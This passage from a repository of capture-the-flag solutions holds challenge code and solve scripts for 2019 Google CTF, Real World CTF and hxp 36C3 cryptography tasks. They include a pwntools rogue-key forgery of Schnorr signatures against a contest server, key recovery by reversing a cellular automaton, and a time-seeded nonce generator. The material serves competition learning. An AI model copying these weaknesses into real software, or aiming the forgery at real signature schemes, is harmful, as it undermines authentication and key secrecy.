SO_ERROR, &error, &len); 368 | if (retval || error) { 369 | printf("Sending of error message was failed..\n"); 370 | return 0; 371 | } 372 | if (send(sock, &message_length, sizeof(uint16_t), 0) == -1 || send(sock, message, message_length, 0) == -1) { 373 | printf("Error message not sent\n"); 374 | return 0; 375 | } 376 | printf("Error message sent\n"); 377 | return 1; 378 | } 379 | 380 | int8_t check_input_and_copy_str_to_bignum(unsigned char *data, mpz_t q, uint16_t *position, uint16_t position_offset, unsigned char *pattern, uint16_t full_data_length) { 381 | unsigned char *buffer; 382 | uint16_t num_bytes = 0; 383 | if (memcmp(data + *position, pattern, position_offset) != 0) { 384 | return 0; 385 | } 386 | *position += position_offset; 387 | if (*position >= full_data_length) { 388 | return 0; 389 | } 390 | while (data[*position] != 124 && *position < full_data_length) { 391 | if ((data[*position] > 47 && data[*position] < 58) || (data[*position] > 96 && data[*position] < 103)) { 392 | *position = *position + 1; 393 | num_bytes++; 394 | } 395 | else { 396 | return 0; 397 | } 398 | } 399 | buffer = malloc(num_bytes + 1); 400 | if (buffer == NULL) { 401 | return 0; 402 | } 403 | memset(buffer, 0, num_bytes + 1); 404 | memcpy(buffer, &data[*position - num_bytes], num_bytes); 405 | mpz_set_str(q, buffer, 16); 406 | free(buffer); 407 | return 1; 408 | } 409 | 410 | int8_t get_hash_data(unsigned char *message, mpz_t hash, uint16_t length) { 411 | unsigned char *hash_plain; 412 | hash_plain = malloc(SHA256_BLOCK_SIZE + 1); 413 | if (hash_plain == NULL) { 414 | return 0; 415 | } 416 | else { 417 | memset(hash_plain, 0, SHA256_BLOCK_SIZE + 1); 418 | SHA256_get_hash_message(message, hash_plain, length); 419 | SHA256_copy_hash_in_mpz(hash, hash_plain); 420 | } 421 | free(hash_plain); 422 | return 1; 423 | } 424 | 425 | int8_t check_hash(unsigned char *full_message, uint16_t full_message_length, mpz_t signature, RSA_key *key) { 426 | mpz_t hash_plain, hash_decrypted; 427 | unsigned char *data; 428 | mpz_init(hash_plain); 429 | mpz_init(hash_decrypted); 430 | data = malloc(full_message_length + 1); 431 | if (data == NULL) { 432 | mpz_clear(hash_plain); 433 | mpz_clear(hash_decrypted); 434 | return 0; 435 | } 436 | memset(data, 0, full_message_length + 1); 437 | memcpy(data, full_message, full_message_length); 438 | if (!get_hash_data(data, hash_plain, full_message_length)) { 439 | mpz_clear(hash_plain); 440 | mpz_clear(hash_decrypted); 441 | free(data); 442 | return 0; 443 | } 444 | RSA_encrypt_decrypt_hash(key, signature); 445 | if (mpz_cmp(hash_plain, signature) == 0) { 446 | mpz_clear(hash_plain); 447 | mpz_clear(hash_decrypted); 448 | free(data); 449 | return 1; 450 | } 451 | else { 452 | mpz_clear(hash_plain); 453 | mpz_clear(hash_decrypted); 454 | free(data); 455 | return 0; 456 | } 457 | } 458 | 459 | int8_t nonce_generation(uint8_t *nonce) { 460 | srand(time(NULL)); 461 | for (int8_t i = 0; i < 15; i++) { 462 | nonce[i] = rand() % 255 + 1; 463 | } 464 | nonce[15] = 0x00; 465 | return 1; 466 | } 467 | 468 | unsigned char *bytes_to_hex(uint8_t *bytes, uint8_t length) { 469 | unsigned char chr[3] = {0}; 470 | unsigned char *hex; 471 | hex = malloc(2 * length + 1); 472 | if (hex == NULL) { 473 | return NULL; 474 | } 475 | memset(hex, 0, 2 * length + 1); 476 | for (int8_t i = 0; i < length; i++) { 477 | if (bytes[i] == 0) { 478 | memcpy(hex + 2 * i, "00", 2); 479 | } 480 | else { 481 | sprintf(chr, "%x", bytes[i]); 482 | if (chr[1] == 0) { 483 | chr[1] = chr[0]; 484 | chr[0] = '0'; 485 | } 486 | memcpy(hex + 2 * i, chr, 2); 487 | } 488 | } 489 | return hex; 490 | } 491 | -------------------------------------------------------------------------------- /2019-GoogleCTF/Quantum_Key_Distribution/enc.key: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2019-GoogleCTF/Quantum_Key_Distribution/enc.key -------------------------------------------------------------------------------- /2019-GoogleCTF/Quantum_Key_Distribution/server.py: -------------------------------------------------------------------------------- 1 | import random 2 | import numpy 3 | 4 | from math import sqrt 5 | from flask import current_app 6 | 7 | 8 | def rotate_45(qubit): 9 | return qubit * complex(0.707, -0.707) 10 | 11 | 12 | def measure(rx_qubits, basis): 13 | measured_bits = "" 14 | for q, b in zip(rx_qubits, basis): 15 | if b == 'x': 16 | q = rotate_45(q) 17 | probability_zero = round(pow(q.real, 2), 1) 18 | probability_one = round(pow(q.imag, 2), 1) 19 | measured_bits += str(numpy.random.choice(numpy.arange(0, 2), p=[probability_zero, probability_one])) 20 | return measured_bits 21 | 22 | 23 | def compare_bases_and_generate_key(tx_bases, rx_bases, measure): 24 | """Compares TX and RX bases and return the selected bits.""" 25 | if not (len(tx_bases) == len(rx_bases) == len(measure)): 26 | return None, "tx_bases(%d), rx_bases(%d) and measure(%d) must have the same length." % (len(tx_bases), len(rx_bases), len(measure)) 27 | ret = '' 28 | for bit, tx_base, rx_base in zip(measure, tx_bases, rx_bases): 29 | if tx_base == rx_base: 30 | ret += bit 31 | return ret, None 32 | 33 | 34 | def unmarshal(qubits): 35 | return [complex(q['real'], q['imag']) for q in qubits] 36 | 37 | 38 | # Receive user's qubits and basis, return the derived key and our basis. 39 | def perform(rx_qubits, rx_basis): 40 | random.seed() 41 | # Multiply the amount of bits in the encryption key by 4 to obtain the amount of basis. 42 | sat_basis = [random.choice('+x') for _ in range(len(current_app.config['ENCRYPTION_KEY'])*16)] 43 | measured_bits = measure(unmarshal(rx_qubits), sat_basis) 44 | binary_key, err = compare_bases_and_generate_key(rx_basis, sat_basis, measured_bits) 45 | if err: 46 | return None, None, err 47 | # ENCRYPTION_KEY is in hex, so multiply by 4 to get the bit length. 48 | binary_key = binary_key[:len(current_app.config['ENCRYPTION_KEY'])*4] 49 | if len(binary_key) < (len(current_app.config['ENCRYPTION_KEY'])*4): 50 | return None, sat_basis, "not enough bits to create shared key: %d want: %d" % (len(binary_key), len(current_app.config['ENCRYPTION_KEY'])) 51 | return binary_key, sat_basis, None 52 | -------------------------------------------------------------------------------- /2019-GoogleCTF/Quantum_Key_Distribution/solve.py: -------------------------------------------------------------------------------- 1 | import random 2 | from math import sqrt 3 | from requests import post 4 | 5 | 6 | URL = 'https://cryptoqkd.web.ctfcompetition.com/qkd/qubits' 7 | 8 | 9 | def compare_bases_and_generate_key(tx_bases, rx_bases, measure): 10 | """Compares TX and RX bases and return the selected bits.""" 11 | if not (len(tx_bases) == len(rx_bases) == len(measure)): 12 | raise ValueError 13 | ret = '' 14 | for bit, tx_base, rx_base in zip(measure, tx_bases, rx_bases): 15 | if tx_base == rx_base: 16 | ret += str(bit) 17 | return ret 18 | 19 | 20 | random_bits = [random.randint(0, 1) for _ in range(512)] 21 | basis = [random.choice('+x') for _ in range(512)] 22 | 23 | qubits = [] 24 | 25 | for bit, base in zip(random_bits, basis): 26 | if bit == 0 and base == '+': 27 | qubits.append({'real': 1, 'imag': 0}) 28 | elif bit == 0 and base == 'x': 29 | qubits.append({'real': sqrt(0.5), 'imag': sqrt(0.5)}) 30 | elif bit == 1 and base == '+': 31 | qubits.append({'real': 0, 'imag': 1}) 32 | elif bit == 1 and base == 'x': 33 | qubits.append({'real': -sqrt(0.5), 'imag': sqrt(0.5)}) 34 | else: 35 | raise ValueError 36 | 37 | data = {'basis': basis, 'qubits': qubits} 38 | 39 | res = post(URL, json=data) 40 | res = res.json() 41 | binary_key = compare_bases_and_generate_key(basis, res['basis'], random_bits) 42 | 43 | shared_key = '{:032x}'.format(int(binary_key[:128], 2)) 44 | 45 | enc_key = '{:032x}'.format(int(shared_key, 16) ^ int(res['announcement'], 16)) 46 | enc_key = bytes.fromhex(enc_key) 47 | 48 | with open('enc.key', 'wb') as f: 49 | f.write(enc_key) 50 | -------------------------------------------------------------------------------- /2019-GoogleCTF/Quantum_Key_Distribution/solve.sh: -------------------------------------------------------------------------------- 1 | echo "U2FsdGVkX19OI2T2J9zJbjMrmI0YSTS+zJ7fnxu1YcGftgkeyVMMwa+NNMG6fGgjROM/hUvvUxUGhctU8fqH4titwti7HbwNMxFxfIR+lR4=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:enc.key 2 | -------------------------------------------------------------------------------- /2019-GoogleCTF/cellular_automata/enc.key: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2019-GoogleCTF/cellular_automata/enc.key -------------------------------------------------------------------------------- /2019-GoogleCTF/cellular_automata/solve.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | 4 | def rule126(state): 5 | state = '{:064b}'.format(int(state, 16)) 6 | state = [int(i) for i in state] 7 | new = [None] * 64 8 | for i in range(64): 9 | if state[(i - 1) % 64] == state[i] == state[(i + 1) % 64]: 10 | new[i] = 0 11 | else: 12 | new[i] = 1 13 | return new 14 | 15 | 16 | def check(prev, state, i): 17 | if prev[(i - 1) % 64] == prev[i % 64] == prev[(i + 1) % 64]: 18 | return state[i] == 0 19 | else: 20 | return state[i] == 1 21 | 22 | 23 | def DFS(state, stack): 24 | prev, i = stack.pop() 25 | if None not in prev: 26 | if check(prev, state, i) and check(prev, state, (i + 1) % 64): 27 | prev = ''.join(list(map(str, prev))) 28 | prev = '{:016x}'.format(int(prev, 2)) 29 | assert rule126(prev) == state 30 | return prev 31 | if state[i % 64] == 0 and prev[(i - 1) % 64] != prev[i % 64]: 32 | return None 33 | elif state[i % 64] == 0 and prev[(i - 1) % 64] == prev[i % 64]: 34 | prev[(i + 1) % 64] = prev[i % 64] 35 | stack.append((prev, (i + 1) % 64)) 36 | return None 37 | elif state[i % 64] == 1 and prev[(i - 1) % 64] != prev[i % 64]: 38 | prev0 = prev.copy() 39 | prev0[(i + 1) % 64] = 0 40 | prev1 = prev.copy() 41 | prev1[(i + 1) % 64] = 1 42 | stack.append((prev0, (i + 1) % 64)) 43 | stack.append((prev1, (i + 1) % 64)) 44 | return None 45 | elif state[i % 64] == 1 and prev[(i - 1) % 64] == prev[i % 64]: 46 | prev[(i + 1) % 64] = 1 - prev[i % 64] 47 | stack.append((prev, (i + 1) % 64)) 48 | return None 49 | 50 | 51 | def reverse_rule126(state): 52 | state = '{:064b}'.format(int(state, 16)) 53 | state = [int(i) for i in state] 54 | stack = [] 55 | for i, v in enumerate(state): 56 | if v == 0: 57 | prev0 = [None] * 64 58 | prev0[(i - 1) % 64] = 0 59 | prev0[i % 64] = 0 60 | prev0[(i + 1) % 64] = 0 61 | stack.append((prev0, i + 1)) 62 | 63 | prev1 = [None] * 64 64 | prev1[(i - 1) % 64] = 1 65 | prev1[i % 64] = 1 66 | prev1[(i + 1) % 64] = 1 67 | stack.append((prev1, i + 1)) 68 | break 69 | 70 | while stack: 71 | prev = DFS(state, stack) 72 | if prev is not None: 73 | yield prev 74 | 75 | 76 | for prev in reverse_rule126('66de3c1bf87fdfcf'): 77 | with open('enc.key', 'wb') as f: 78 | f.write(bytes.fromhex(prev)) 79 | try: 80 | output = subprocess.check_output(['sh', './solve.sh']) 81 | if b'CTF' in output: 82 | flag = output.decode().strip() 83 | break 84 | except subprocess.CalledProcessError: 85 | pass 86 | 87 | print(flag) 88 | -------------------------------------------------------------------------------- /2019-GoogleCTF/cellular_automata/solve.sh: -------------------------------------------------------------------------------- 1 | echo "U2FsdGVkX1/andRK+WVfKqJILMVdx/69xjAzW4KUqsjr98GqzFR793lfNHrw1Blc8UZHWOBrRhtLx3SM38R1MpRegLTHgHzf0EAa3oUeWcQ=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:enc.key 2 | -------------------------------------------------------------------------------- /2019-GoogleCTF/cellular_automata/test.key: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ironore15/ctf/ad0df2e3e7e1f0b5fcc3bcb6e24bb1b05510b83d/2019-GoogleCTF/cellular_automata/test.key -------------------------------------------------------------------------------- /2019-GoogleCTF/cellular_automata/test.sh: -------------------------------------------------------------------------------- 1 | echo "U2FsdGVkX18+Wl0awCH/gWgLGZC4NiCkrlpesuuX8E70tX8t/TAarSEHTnpY/C1D" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:test.key 2 | -------------------------------------------------------------------------------- /2019-RealWorld/bank/multi-schnorr.py: -------------------------------------------------------------------------------- 1 | import os 2 | import SocketServer 3 | import base64 as b64 4 | import hashlib 5 | from Crypto.Util import number 6 | from Crypto import Random 7 | from Crypto.PublicKey.pubkey import * 8 | import datetime 9 | import calendar 10 | 11 | from schnorr import * 12 | 13 | MSGLENGTH = 40000 14 | HASHLENGTH = 16 15 | # FLAG = open("flag","r").read() 16 | FLAG = "SAMPLE_FLAG" 17 | PORT_NUM = 20014 18 | 19 | def digitalize(m): 20 | return int(m.encode('hex'), 16) 21 | 22 | class HandleCheckin(SocketServer.StreamRequestHandler): 23 | def handle(self): 24 | Random.atfork() 25 | req = self.request 26 | proof = b64.b64encode(os.urandom(12)) 27 | 28 | req.sendall( 29 | "Please provide your proof of work, a sha1 sum ending in 16 bit's set to 0, it must be of length %d bytes, starting with %s\n" % ( 30 | len(proof) + 5, proof)) 31 | 32 | test = req.recv(21) 33 | ha = hashlib.sha1() 34 | ha.update(test) 35 | 36 | if (test[0:16] != proof or ord(ha.digest()[-1]) != 0 or ord(ha.digest()[-2]) != 0): # or ord(ha.digest()[-3]) != 0 or ord(ha.digest()[-4]) != 0): 37 | req.sendall("Check failed") 38 | req.close() 39 | return 40 | 41 | req.sendall("Generating keys...\n") 42 | sk, pk = generate_keys() 43 | balance = 0 44 | while True: 45 | req.sendall("Please tell us your public key:") 46 | msg = self.rfile.readline().strip().decode('base64') 47 | if len(msg) < 6 or len(msg) > MSGLENGTH: 48 | req.sendall("what are you doing?") 49 | req.close() 50 | return 51 | userPk = (int(msg.split(',')[0]), int(msg.split(',')[1])) 52 | req.sendall('''User logged in. 53 | 54 | [Beep] 55 | 56 | Please select your options: 57 | 58 | 1. Deposit a coin into your account, you can sign a message 'DEPOSIT' and send us the signature. 59 | 2. Withdraw a coin from your account, you need to provide us a message 'WITHDRAW' signed by both of you and our RESPECTED BANK MANAGER. 60 | 3. Find one of our customer support representative to assist you. 61 | 62 | 63 | Our working hour is 9:00 am to 5:00 pm every %s! 64 | Thank you for being our loyal customer and your satisfaction is our first priority! 65 | ''' % calendar.day_name[(datetime.datetime.today() + datetime.timedelta(days=1)).weekday()]) 66 | msg = self.rfile.readline().strip().decode('base64') 67 | if msg[0] == '1': 68 | req.sendall("Please send us your signature") 69 | msg = self.rfile.readline().strip().decode('base64') 70 | if schnorr_verify('DEPOSIT', userPk, msg): 71 | balance += 1 72 | req.sendall("Coin deposited.\n") 73 | elif msg[0] == '2': 74 | req.sendall("Please send us your signature") 75 | msg = self.rfile.readline().strip().decode('base64') 76 | if schnorr_verify('WITHDRAW', point_add(userPk, pk), msg) and balance > 0: 77 | req.sendall("Here is your coin: %s\n" % FLAG) 78 | elif msg[0] == '3': 79 | req.sendall("The custom service is offline now.\n\nBut here is our public key just in case a random guy claims himself as one of us: %s\n" % repr(pk)) 80 | 81 | class ThreadedServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): 82 | pass 83 | 84 | 85 | if __name__ == "__main__": 86 | HOST, PORT = "0.0.0.0", int(PORT_NUM) 87 | server = ThreadedServer((HOST, PORT), HandleCheckin) 88 | server.allow_reuse_address = True 89 | server.serve_forever() 90 | 91 | -------------------------------------------------------------------------------- /2019-RealWorld/bank/schnorr.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import binascii 3 | import unittest 4 | 5 | from Crypto.Random import random 6 | 7 | p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F 8 | n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 9 | G = (0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798, 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8) 10 | 11 | # back-ports for python2 from https://stackoverflow.com/questions/16022556/has-python-3-to-bytes-been-back-ported-to-python-2-7 12 | def to_bytes(n, length, byteorder='big'): 13 | h = hex(n)[2:].rstrip('L') 14 | print 'h', h 15 | s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') 16 | return s if byteorder == 'big' else s[::-1] 17 | 18 | def from_bytes(s, byteorder='big'): 19 | return int(s.encode('hex'), 16) 20 | 21 | def point_add(p1, p2): 22 | if (p1 is None): 23 | return p2 24 | if (p2 is None): 25 | return p1 26 | if (p1[0] == p2[0] and p1[1] != p2[1]): 27 | return None 28 | if (p1 == p2): 29 | lam = (3 * p1[0] * p1[0] * pow(2 * p1[1], p - 2, p)) % p 30 | else: 31 | lam = ((p2[1] - p1[1]) * pow(p2[0] - p1[0], p - 2, p)) % p 32 | x3 = (lam * lam - p1[0] - p2[0]) % p 33 | return (x3, (lam * (p1[0] - x3) - p1[1]) % p) 34 | 35 | def point_mul(p, n): 36 | r = None 37 | for i in range(256): 38 | if ((n >> i) & 1): 39 | r = point_add(r, p) 40 | p = point_add(p, p) 41 | return r 42 | 43 | def bytes_point(p): 44 | return (b'\x03' if p[1] & 1 else b'\x02') + to_bytes(p[0], 32, byteorder="big") 45 | 46 | def sha256(b): 47 | return from_bytes(hashlib.sha256(b).digest(), byteorder="big") 48 | 49 | def on_curve(point): 50 | return (pow(point[1], 2, p) - pow(point[0], 3, p)) % p == 7 51 | 52 | def jacobi(x): 53 | return pow(x, (p - 1) // 2, p) 54 | 55 | def schnorr_sign(msg, seckey): 56 | k = sha256(to_bytes(seckey, 32, byteorder="big") + msg) 57 | R = point_mul(G, k) 58 | if jacobi(R[1]) != 1: 59 | k = n - k 60 | e = sha256(to_bytes(R[0], 32, byteorder="big") + bytes_point(point_mul(G, seckey)) + msg) 61 | return to_bytes(R[0], 32, byteorder="big") + to_bytes(((k + e * seckey) % n), 32, byteorder="big") 62 | 63 | def schnorr_verify(msg, pubkey, sig): 64 | if (not on_curve(pubkey)): 65 | return False 66 | r = from_bytes(sig[0:32], byteorder="big") 67 | s = from_bytes(sig[32:64], byteorder="big") 68 | if r >= p or s >= n: 69 | return False 70 | e = sha256(sig[0:32] + bytes_point(pubkey) + msg) 71 | R = point_add(point_mul(G, s), point_mul(pubkey, n - e)) 72 | if R is None or jacobi(R[1]) != 1 or R[0] != r: 73 | return False 74 | return True 75 | 76 | def generate_keys(): 77 | privKey = random.randint(5, p-1) 78 | pubKey = point_mul(G, privKey) 79 | return privKey, pubKey 80 | 81 | def create_input(private_key, public_key, message, signature): 82 | return dict( 83 | private_key=private_key, 84 | public_key=public_key, 85 | message=bytearray.fromhex(message), 86 | signature=bytearray.fromhex(signature)) 87 | 88 | 89 | -------------------------------------------------------------------------------- /2019-RealWorld/bank/schnorr3.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import binascii 3 | import unittest 4 | 5 | from Crypto.Random import random 6 | from Crypto.Util.number import bytes_to_long 7 | 8 | p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F 9 | n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 10 | G = (0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798, 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8) 11 | 12 | # back-ports for python2 from https://stackoverflow.com/questions/16022556/has-python-3-to-bytes-been-back-ported-to-python-2-7 13 | def to_bytes(n, length, byteorder='big'): 14 | h = hex(n)[2:].rstrip('L') 15 | s = bytes.fromhex(('0'*(len(h) % 2) + h).zfill(length*2)) 16 | return s if byteorder == 'big' else s[::-1] 17 | 18 | def from_bytes(s, byteorder='big'): 19 | return bytes_to_long(s) 20 | 21 | def point_add(p1, p2): 22 | if (p1 is None): 23 | return p2 24 | if (p2 is None): 25 | return p1 26 | if (p1[0] == p2[0] and p1[1] != p2[1]): 27 | return None 28 | if (p1 == p2): 29 | lam = (3 * p1[0] * p1[0] * pow(2 * p1[1], p - 2, p)) % p 30 | else: 31 | lam = ((p2[1] - p1[1]) * pow(p2[0] - p1[0], p - 2, p)) % p 32 | x3 = (lam * lam - p1[0] - p2[0]) % p 33 | return (x3, (lam * (p1[0] - x3) - p1[1]) % p) 34 | 35 | def point_mul(p, n): 36 | r = None 37 | for i in range(256): 38 | if ((n >> i) & 1): 39 | r = point_add(r, p) 40 | p = point_add(p, p) 41 | return r 42 | 43 | def bytes_point(p): 44 | return (b'\x03' if p[1] & 1 else b'\x02') + to_bytes(p[0], 32, byteorder="big") 45 | 46 | def sha256(b): 47 | return int(hashlib.sha256(b).hexdigest(), 16) 48 | 49 | def on_curve(point): 50 | return (pow(point[1], 2, p) - pow(point[0], 3, p)) % p == 7 51 | 52 | def jacobi(x): 53 | return pow(x, (p - 1) // 2, p) 54 | 55 | def schnorr_sign(msg, seckey): 56 | k = sha256(to_bytes(seckey, 32, byteorder="big") + msg) 57 | R = point_mul(G, k) 58 | if jacobi(R[1]) != 1: 59 | k = n - k 60 | e = sha256(to_bytes(R[0], 32, byteorder="big") + bytes_point(point_mul(G, seckey)) + msg) 61 | return to_bytes(R[0], 32, byteorder="big") + to_bytes(((k + e * seckey) % n), 32, byteorder="big") 62 | 63 | def schnorr_verify(msg, pubkey, sig): 64 | if (not on_curve(pubkey)): 65 | return False 66 | r = from_bytes(sig[0:32], byteorder="big") 67 | s = from_bytes(sig[32:64], byteorder="big") 68 | if r >= p or s >= n: 69 | return False 70 | e = sha256(sig[0:32] + bytes_point(pubkey) + msg) 71 | R = point_add(point_mul(G, s), point_mul(pubkey, n - e)) 72 | if R is None or jacobi(R[1]) != 1 or R[0] != r: 73 | return False 74 | return True 75 | 76 | def generate_keys(): 77 | privKey = random.randint(5, p-1) 78 | pubKey = point_mul(G, privKey) 79 | return privKey, pubKey 80 | 81 | def create_input(private_key, public_key, message, signature): 82 | return dict( 83 | private_key=private_key, 84 | public_key=public_key, 85 | message=bytearray.fromhex(message), 86 | signature=bytearray.fromhex(signature)) 87 | 88 | 89 | -------------------------------------------------------------------------------- /2019-RealWorld/bank/solve.py: -------------------------------------------------------------------------------- 1 | from ast import literal_eval 2 | from base64 import b64encode 3 | from hashlib import sha1 4 | from itertools import product 5 | from string import printable 6 | import pwn 7 | 8 | import schnorr3 9 | 10 | 11 | printable = printable.strip() 12 | 13 | DEBUG = False 14 | if DEBUG: 15 | p = pwn.remote("localhost", 20014) 16 | else: 17 | p = pwn.remote("tcp.realworldctf.com", 20014) 18 | pwn.context.log_level = "debug" 19 | 20 | 21 | def PoW(proof, length): 22 | assert len(proof) < length 23 | for work in product(printable, repeat=5): 24 | work = proof + "".join(work).encode() 25 | h = sha1(work).hexdigest() 26 | if h.endswith("0000"): 27 | break 28 | return work 29 | 30 | 31 | def menu(pubkey, choice): 32 | p.recvuntil("Please tell us your public key:") 33 | p.sendline(b64encode("{},{}".format(pubkey[0], pubkey[1]).encode())) 34 | p.recvuntil("our first priority!\n") 35 | p.sendline(b64encode(str(choice).encode())) 36 | 37 | 38 | p.recvuntil("starting with ") 39 | proof = p.recvline().strip() 40 | work = PoW(proof, len(proof) + 5) 41 | p.send(work) 42 | 43 | privKey, pubKey = schnorr3.generate_keys() 44 | 45 | menu(pubKey, 3) 46 | p.recvuntil("himself as one of us: ") 47 | serverPubKey = literal_eval(p.recvline().strip().decode().replace("L", "")) 48 | 49 | sign = schnorr3.schnorr_sign(b"DEPOSIT", privKey) 50 | 51 | menu(pubKey, 1) 52 | p.recvuntil("Please send us your signature") 53 | p.sendline(b64encode(sign)) 54 | 55 | fakePubKey = schnorr3.point_mul(serverPubKey, schnorr3.n - 1) 56 | fakePubKey = schnorr3.point_add(pubKey, fakePubKey) 57 | fakeSign = schnorr3.schnorr_sign(b"WITHDRAW", privKey) 58 | 59 | menu(fakePubKey, 2) 60 | p.recvuntil("Please send us your signature") 61 | p.sendline(b64encode(fakeSign)) 62 | 63 | pwn.context.log_level = "info" 64 | p.interactive() 65 | -------------------------------------------------------------------------------- /2019-hxp-36C3/peerreviewed/crypto.sage: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sage 2 | 3 | # A. G. D. Uchoa, M. E. Pellenz, A. O. Santin, and C. A. Maziero. 4 | # "A three-pass protocol for cryptography based on padding for wireless networks." 5 | # In: 2007 4th IEEE Consumer Communications and Networking Conference. 6 | # IEEE, Jan. 2007, pp. 287--291. DOI: 10.1109/CCNC.2007.63. 7 | # 8 | # For those without IEEE subscriptions, this paper is also available through 9 | # ResearchGate and Google Scholar. 10 | 11 | from Crypto.Util.number import bytes_to_long, long_to_bytes 12 | from itertools import izip_longest 13 | 14 | # Settings from Section IV of the paper 15 | R = RealField(prec=200) 16 | block_size = 192 17 | 18 | # Key generation 19 | def rotate_2d(field, theta): 20 | # Rotation matrix (clockwise, as in Section III) 21 | return matrix(field, [[cos(theta), sin(theta)], [-sin(theta), cos(theta)]]) 22 | 23 | def generate_key(): 24 | # Pick a random angle on the unit circle 25 | circle = 2 * R.pi() 26 | theta = R(random()) * circle 27 | # Follow Section III to generate the rest of the key: 28 | # Build the rotation matrix O and its inverse 29 | O = rotate_2d(R, theta) 30 | Oc = rotate_2d(R, circle - theta) 31 | # Generate the nonce matrix (with 1 <= a, b <= 2**64) 32 | a = randint(1, 2**64) 33 | b = randint(1, 2**64) 34 | A = matrix(R, [[a, b], [-b, a]]) 35 | Ac = A.transpose() / A.det() 36 | return O, Oc, A, Ac 37 | 38 | # Message handling 39 | def split_message(message, block_size): 40 | # Convert to bits 41 | message = Integer(bytes_to_long(message)).bits() 42 | # Add padding 43 | message += [1] 44 | padding_required = block_size - len(message) % block_size 45 | if padding_required != block_size: 46 | message += [0] * padding_required 47 | # Split into blocks 48 | for block_start in range(0, len(message), block_size): 49 | yield Integer(message[block_start:block_start+block_size][::-1], base=2) 50 | 51 | def merge_message(blocks): 52 | # Merge blocks 53 | blocks = [Integer(round(block)).bits()[::-1] for block in blocks] 54 | blocks = [[0] * (block_size - len(block)) + block for block in blocks] 55 | bits = flatten(blocks) 56 | # Remove padding 57 | bits = bits[:-bits[::-1].index(1)-1] 58 | # Convert back 59 | return long_to_bytes(Integer(bits, base=2)) 60 | 61 | def group(iterable, n, fill=None): 62 | iters = [iter(iterable)] * n 63 | return izip_longest(*iters, fillvalue=fill) 64 | 65 | # Self-test for encryption and decryption 66 | if __name__ == '__main__': 67 | from message import m 68 | blocks = split_message(m, block_size) 69 | results = [] 70 | for b1, b2 in group(blocks, 2, Integer(0)): 71 | b = vector(R, [b1, b2]) 72 | # Generate keys for both sides 73 | O1, Oc1, A1, Ac1 = generate_key() 74 | O2, Oc2, A2, Ac2 = generate_key() 75 | # Simulate transmission 76 | yA = b * O1 * A1 77 | print 'A -> B: yA =', yA 78 | yB = yA * O2 * A2 79 | print 'B -> A: yB =', yB 80 | yC = yB * Oc1 * Ac1 81 | print 'A -> B: yC =', yC 82 | x = yC * Oc2 * Ac2 83 | # Collect results 84 | results.extend(x) 85 | assert m == merge_message(results), 'Test failed' 86 | -------------------------------------------------------------------------------- /2019-hxp-36C3/peerreviewed/intercepted.txt: -------------------------------------------------------------------------------- 1 | A -> B: yA = (5.8537179772742871378006829317359804640034149162093776176771e75, 2.0260990893806965307943860314007373888732002921518840941414e76) 2 | B -> A: yB = (4.0652782673020986683538918237010543408982543019306057179496e95, -5.0285426513783822097670201376390415563936061484095492229894e94) 3 | A -> B: yC = (4.3083595977562861674637990303350994431503203162436044206961e76, -3.1928247205608247346546681530367209122491766171698701927922e76) 4 | A -> B: yA = (3.9886651421460868244883042163468164077791762065632163641999e76, -1.2487387183806776412156661578750877275468860853692530589115e77) 5 | B -> A: yB = (2.5644531171906756537679808003501733255703504126650573479133e95, -1.6570541229598112699074962433815055733294177769576178678896e96) 6 | A -> B: yC = (4.5893614625576224795913782492661186902913334535507951850089e76, 6.8611881934867127810471276550294069221078140676008042683634e76) 7 | A -> B: yA = (-6.5089227887140404010136240391818701730482514213358150433451e75, 5.5620733870042242270647223203879530885369669489378834804472e76) 8 | B -> A: yB = (1.0017374772520318947002755790705886607122203555146923369286e95, 1.2876407911288161811207561236370324382394428286338064237471e96) 9 | A -> B: yC = (1.1418280384822587553925695577555385627605037374102719431688e77, -1.9966984339634055590175475802847306340483261373340080568330e76) 10 | -------------------------------------------------------------------------------- /2019-hxp-36C3/peerreviewed/solve.sage: -------------------------------------------------------------------------------- 1 | #!/usr/bin/sage 2 | from Crypto.Util.number import long_to_bytes 3 | 4 | 5 | def solve(a, b, c): 6 | D = b ** 2 - 4 * a * c 7 | x1 = (-b + sqrt(D)) / (2 * a) 8 | x2 = (-b - sqrt(D)) / (2 * a) 9 | return x1, x2 10 | 11 | 12 | def merge_message(blocks): 13 | # Merge blocks 14 | blocks = [Integer(round(block)).bits()[::-1] for block in blocks] 15 | blocks = [[0] * (block_size - len(block)) + block for block in blocks] 16 | bits = flatten(blocks) 17 | # Remove padding 18 | bits = bits[:-bits[::-1].index(1)-1] 19 | # Convert back 20 | return long_to_bytes(Integer(bits, base=2)) 21 | 22 | 23 | R = RealField(prec=200) 24 | block_size = 192 25 | 26 | yA, yB, yC = [None] * 3, [None] * 3, [None] * 3 27 | 28 | yA[0] = [R(5.8537179772742871378006829317359804640034149162093776176771e75), 